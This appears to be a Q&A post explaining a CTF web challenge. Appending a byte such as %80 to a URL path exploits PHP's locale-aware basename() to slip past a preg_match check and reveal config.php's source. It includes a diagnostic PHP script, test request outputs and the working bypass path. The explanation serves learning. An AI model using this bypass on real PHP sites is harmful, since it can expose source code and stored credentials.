Search code examples
phpurl-routingweb-development-serverctf

How does the hex value in an URL change the path of the file?


I'm working on a challenge in CTF. Here's the link to the challenge: Link1

When I try to change the path to Link2.

it successfully retrieved the flag but when the hex value is less than 80, it doesn't work.

I'm a beginner and did a lot of digging to find out how but I couldn't find any. May I ask how so?


Solution

  • It appears that the challenge is exploiting a quirk of PHP's basename() function. As per the documentation:

    Caution: basename() is locale aware, so for it to see the correct basename with multibyte character paths, the matching locale must be set using the setlocale() function.

    What this means is that if you pass it a string that contains code points higher than 0x7F, then it will try to process them as multi-byte characters. Passing random bytes to this function is therefore likely to make it fall over.

    I uploaded the following script to a server for testing:

    <?php
    
    header("Content-Type: text/plain; charset=UTF-8");
    
    echo '$_SERVER["PATH_INFO"] = ';
    var_dump($_SERVER['PATH_INFO']);
    echo '$_SERVER["PHP_SELF"] = ';
    var_dump($_SERVER['PHP_SELF']);
    echo 'basename($_SERVER["PHP_SELF"]) = ';
    var_dump(basename($_SERVER['PHP_SELF']));
    

    And here are the results I obtained with a few chosen requests:

    GET /index.php?source

    $_SERVER["PATH_INFO"] = NULL
    $_SERVER["PHP_SELF"] = string(15) "/index.php"
    basename($_SERVER["PHP_SELF"]) = string(9) "index.php"
    

    GET /index.php/config.php?source

    $_SERVER["PATH_INFO"] = string(11) "/config.php"
    $_SERVER["PHP_SELF"] = string(26) "/index.php/config.php"
    basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
    

    GET /index.php/config.php/XXX?source

    $_SERVER["PATH_INFO"] = string(15) "/config.php/XXX"
    $_SERVER["PHP_SELF"] = string(30) "/index.php/config.php/XXX"
    basename($_SERVER["PHP_SELF"]) = string(3) "XXX"
    

    GET /index.php/config.php/%F0%9F%98%80?source

    $_SERVER["PATH_INFO"] = string(16) "/config.php/😀"
    $_SERVER["PHP_SELF"] = string(31) "/index.php/config.php/😀"
    basename($_SERVER["PHP_SELF"]) = string(10) "config.php"
    

    You'll notice that in the last example, PHP has failed to parse the UTF-8 character at the end of the PATH_INFO string, and has defaulted to the preceding value of config.php instead.

    So in the example you gave, the link to /index.php/config.php/%80?source would have resulted in $_SERVER["PHP_SELF"] taking a value of "config.php". This allows your query to pass the following test because $_SERVER['PHP_SELF'] ends with \x80, not /:

    if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
      exit("I don't know what you are thinking, but I won't let you read it :)");
    }
    

    And so you're able to obtain the flag from the source code of config.php.

    An interesting challenge.


    Note: If you set PHP's locale to something that accepts UTF-8 characters (e.g., setlocale(LC_ALL, 'en_GB.UTF8');), then it will handle the 😀 characters correctly, but will still fall down when given an invalid code point like %80.